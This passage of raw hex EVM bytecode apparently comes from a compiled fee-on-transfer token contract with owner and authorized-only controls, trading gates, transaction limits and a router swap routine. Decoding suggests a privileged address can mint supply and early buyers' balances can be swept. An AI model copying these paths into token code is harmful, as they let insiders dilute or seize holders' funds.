ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a35050505050505050505062000fe7565b60008082840190508381101562000f27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928262000f69576000855562000fb5565b82601f1062000f8457805160ff191683800117855562000fb5565b8280016001018555821562000fb5579182015b8281111562000fb457825182559160200191906001019062000f97565b5b50905062000fc4919062000fc8565b5090565b5b8082111562000fe357600081600090555060010162000fc9565b5090565b6144428062000ff76000396000f3fe6080604052600436106103545760003560e01c8063790ca413116101c6578063b6a5d7de116100f7578063e66b1d1e11610095578063f887ea401161006f578063f887ea401461117e578063fabe6283146111bf578063fe9fbb801461121c578063ffb54a99146112835761035b565b8063e66b1d1e1461109f578063f0b37c04146110dc578063f2fde38b1461112d5761035b565b8063ca987b0e116100d1578063ca987b0e14610f87578063d920334e14610fb2578063da00097d14610fed578063dd62ed3e1461101a5761035b565b8063b6a5d7de14610eca578063bf56b37114610f1b578063ca33e64c14610f465761035b565b80638b42507f11610164578063a29f8c5d1161013e578063a29f8c5d14610d7e578063a3a2e89e14610dbb578063a8aa1b3114610e18578063a9059cbb14610e595761035b565b80638b42507f14610c5c57806395d89b4114610cc357806398118cb414610d535761035b565b80637d1db4a5116101a05780637d1db4a514610b8a5780637db1342c14610bb5578063807c2d9c14610bf0578063893d20e814610c1b5761035b565b8063790ca41314610af957806379d22b0814610b245780637a31959014610b3b5761035b565b806342966c68116102a057806369cf17d41161023e578063715018a611610218578063715018a614610a4b578063750bf81d14610a6257806375f0a87414610a8d5780637836dbd214610ace5761035b565b806369cf17d4146109905780636b67c4df146109bb57806370a08231146109e65761035b565b806344e403d81161027a57806344e403d81461086a57806346411fc9146108975780634a74bb02146108fc578063571ac8b0146109295761035b565b806342966c681461079b5780634355855a146107d657806344de2e4c1461083d5761035b565b80631f2c80f11161030d5780632f54bf6e116102e75780632f54bf6e1461064c578063313ce567146106b357806334c70889146106e15780633f4218e0146107345761035b565b80631f2c80f11461051f57806323b872dd146105905780632b112e49146106215761035b565b80630445b6671461036057806306fdde031461038b578063095ea7b31461041b5780630d2959801461048c57806318160ddd146104c95780631df4ccfc146104f45761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b506103756112b0565b6040518082815260200191505060405180910390f35b34801561039757600080fd5b506103a06112b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042757600080fd5b506104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611358565b60405180821515815260200191505060405180910390f35b34801561049857600080fd5b506104c7600480360360208110156104af57600080fd5b8101908080351515906020019092919050505061144a565b005b3480156104d557600080fd5b506104de611518565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611522565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b5061058e6004803603604081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b005b34801561059c57600080fd5b50610609600480360360608110156105b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611629565b60405180821515815260200191505060405180910390f35b34801561062d57600080fd5b50610636611829565b6040518082815260200191505060405180910390f35b34801561065857600080fd5b5061069b6004803603602081101561066f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ab565b60405180821515815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611904565b604051808260ff16815260200191505060405180910390f35b3480156106ed57600080fd5b506107326004803603606081101561070457600080fd5b810190808035151590602001909291908035906020019092919080351515906020019092919050505061191b565b005b34801561074057600080fd5b506107836004803603602081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d6565b60405180821515815260200191505060405180910390f35b3480156107a757600080fd5b506107d4600480360360208110156107be57600080fd5b81019080803590602001909291905050506119f6565b005b3480156107e257600080fd5b50610825600480360360208110156107f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c55565b60405180821515815260200191505060405180910390f35b34801561084957600080fd5b50610852611c75565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b5061087f611c88565b60405180821515815260200191505060405180910390f35b3480156108a357600080fd5b506108d0600480360360208110156108ba57600080fd5b8101908080359060200190929190505050611c9b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090857600080fd5b50610911611cda565b60405180821515815260200191505060405180910390f35b34801561093557600080fd5b506109786004803603602081101561094c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ced565b60405180821515815260200191505060405180910390f35b34801561099c57600080fd5b506109a5611d20565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109d0611d26565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b50610a3560048036036020811015610a0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b6040518082815260200191505060405180910390f35b348015610a5757600080fd5b50610a60611d75565b005b348015610a6e57600080fd5b50610a77611e81565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ada57600080fd5b50610ae3611ead565b6040518082815260200191505060405180910390f35b348015610b0557600080fd5b50610b0e611eb3565b6040518082815260200191505060405180910390f35b348015610b3057600080fd5b50610b39611eb9565b005b348015610b4757600080fd5b50610b8860048036036060811015610b5e57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061203e565b005b348015610b9657600080fd5b50610b9f61210d565b6040518082815260200191505060405180910390f35b348015610bc157600080fd5b50610bee60048036036020811015610bd857600080fd5b8101908080359060200190929190505050612113565b005b348015610bfc57600080fd5b50610c056121af565b6040518082815260200191505060405180910390f35b348015610c2757600080fd5b50610c306121b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6857600080fd5b50610cab60048036036020811015610c7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121de565b60405180821515815260200191505060405180910390f35b348015610ccf57600080fd5b50610cd86121fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d18578082015181840152602081019050610cfd565b50505050905090810190601f168015610d455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d5f57600080fd5b50610d686122a0565b6040518082815260200191505060405180910390f35b348015610d8a57600080fd5b50610db960048036036020811015610da157600080fd5b810190808035151590602001909291905050506122a6565b005b348015610dc757600080fd5b50610e1660048036036040811015610dde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061233e565b005b348015610e2457600080fd5b50610e2d612414565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e6557600080fd5b50610eb260048036036040811015610e7c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061243a565b60405180821515815260200191505060405180910390f35b348015610ed657600080fd5b50610f1960048036036020811015610eed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061244f565b005b348015610f2757600080fd5b50610f30612524565b6040518082815260200191505060405180910390f35b348015610f5257600080fd5b50610f5b61252a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9357600080fd5b50610f9c612550565b6040518082815260200191505060405180910390f35b348015610fbe57600080fd5b50610feb60048036036020811015610fd557600080fd5b8101908080359060200190929190505050612556565b005b348015610ff957600080fd5b506110026125f2565b60405180821515815260200191505060405180910390f35b34801561102657600080fd5b506110896004803603604081101561103d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612605565b6040518082815260200191505060405180910390f35b3480156110ab57600080fd5b506110da600480360360208110156110c257600080fd5b8101908080351515906020019092919050505061268c565b005b3480156110e857600080fd5b5061112b600480360360208110156110ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612724565b005b34801561113957600080fd5b5061117c6004803603602081101561115057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fa565b005b34801561118a57600080fd5b5061119361295c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111cb57600080fd5b5061121a600480360360408110156111e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612982565b005b34801561122857600080fd5b5061126b6004803603602081101561123f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a58565b60405180821515815260200191505060405180910390f35b34801561128f57600080fd5b50611298612aae565b60405180821515815260200191505060405180910390f35b60215481565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561134e5780601f106113235761010080835404028352916020019161134e565b820191906000526020600020905b81548152906001019060200180831161133157829003601f168201915b5050505050905090565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b61145333612a58565b6114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60006101000a81548160ff02191690831515021790555080156115155742600a819055506001601e60016101000a81548160ff021916908315150217905550600c54600a5401600b819055505b50565b6000600754905090565b60165481565b61153133612a58565b6115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461181557611794826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611820848484612c09565b90509392505050565b60006118a6611859600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b611898611887600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b6007546134cd90919063ffffffff16565b6134cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b61192433612a58565b611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82602060016101000a81548160ff0219169083151502179055508160218190555080602060026101000a81548160ff021916908315150217905550505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b7357611ad7600460009054906101000a900460ff1660ff16600a0a8202600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600460009054906101000a900460ff1660ff16600a0a8202600754612ac190919063ffffffff16565b600781905550611c52565b611bdc600460009054906101000a900460ff1660ff16600a0a8202600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4b600460009054906101000a900460ff1660ff16600a0a82026007546134cd90919063ffffffff16565b6007819055505b50565b60126020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b601e60019054906101000a900460ff1681565b601a8181548110611cab57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060019054906101000a900460ff1681565b6000611d19827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611358565b9050919050565b60155481565b60145481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d7e336118ab565b611df0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600c5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600a5481565b611ec233612a58565b611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b601a80549050811015611fdd576000601a8281548110611f5357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fce8282613517565b50508080600101915050611f37565b50600067ffffffffffffffff81118015611ff657600080fd5b506040519080825280602002602001820160405280156120255781602001602082028036833780820191505090505b50601a908051906020019061203b929190614344565b50565b61204733612a58565b6120b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260138190555081601481905550806015819055506120e5601454601354612ac190919063ffffffff16565b601681905550612102601554601654612ac190919063ffffffff16565b601781905550505050565b60085481565b61211c33612a58565b61218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260098190555050565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60116020528060005260406000206000915054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122965780601f1061226b57610100808354040283529160200191612296565b820191906000526020600020905b81548152906001019060200180831161227957829003601f168201915b5050505050905090565b60135481565b6122af33612a58565b612321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60016101000a81548160ff02191690831515021790555050565b61234733612a58565b6123b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612447338484612c09565b905092915050565b612458336118ab565b6124ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601d5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b61255f33612a58565b6125d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260088190555050565b602060029054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61269533612a58565b612707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b61272d336118ab565b61279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612803336118ab565b612875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61298b33612a58565b6129fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e60009054906101000a900460ff1681565b600080828401905083811015612b3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bbb578082015181840152602081019050612ba0565b50505050905090810190601f168015612be85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602060009054906101000a900460ff1615612c3257612c2b848484613710565b90506134c6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612cd65750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601e60009054906101000a900460ff16612d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b600b54421115612d8b576000601e60016101000a81548160ff021916908315150217905550612d8a6138e3565b5b5b60085482111580612de65750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b601e60019054906101000a900460ff168015612ec15750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612f175750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612f6d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fd657601a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156130415750602060009054906101000a900460ff16155b80156130595750602060019054906101000a900460ff165b80156130a65750602154600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156130b4576130b36139ed565b5b6130bc613ff0565b1580156131165750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15613170576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161316757600080fd5b61316f613ffd565b5b6131f9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132a25750600d60009054906101000a900460ff165b15613308576009546132fc83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b111561330757600080fd5b5b6000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133ae5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6133b857826133c4565b6133c3858585614006565b5b905061341881600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600061350f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b49565b905092915050565b61356981600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061362081600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061379b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061383082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60005b601a8054905081101561398c576000601a828154811061390257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061397d8282613517565b505080806001019150506138e6565b50600067ffffffffffffffff811180156139a557600080fd5b506040519080825280602002602001820160405280156139d45781602001602082028036833780820191505090505b50601a90805190602001906139ea929190614344565b50565b6001602060006101000a81548160ff0219169083151502179055506000600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000613a8a6002613a7c601654613a6e601354876141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613aa182846134cd90919063ffffffff16565b90506000600267ffffffffffffffff81118015613abd57600080fd5b50604051908082528060200260200182016040528015613aec5781602001602082028036833780820191505090505b5090503081600081518110613afd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613b9f57600080fd5b505afa158015613bb3573d6000803e3d6000fd5b505050506040513d6020811015613bc957600080fd5b810190808051906020019092919050505081600181518110613be757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613ce5578082015181840152602081019050613cca565b505050509050019650505050505050600060405180830381600087803b158015613d0e57600080fd5b505af1158015613d22573d6000803e3d6000fd5b5050505060004790506000613d57613d46600260135461423490919063ffffffff16565b6016546134cd90919063ffffffff16565b90506000613d956002613d8784613d79601354886141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613dac82856134cd90919063ffffffff16565b90506000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051806000019050600060405180830381858888f193505050503d8060008114613e35576040519150601f19603f3d011682016040523d82523d6000602084013e613e3a565b606091505b50509050600090506000881115613fca57601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308b600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015613f3757600080fd5b505af1158015613f4b573d6000803e3d6000fd5b50505050506040513d6060811015613f6257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068389604051808381526020018281526020019250505060405180910390a15b5050505050505050506000602060006101000a81548160ff021916908315150217905550565b600080601d541415905090565b43601d81905550565b6000808373ffffffffffffffffffffffffffffffffffffffff16601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146140665760165461406a565b6017545b90506000614094606461408684876141ae90919063ffffffff16565b61423490919063ffffffff16565b90506140e881600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600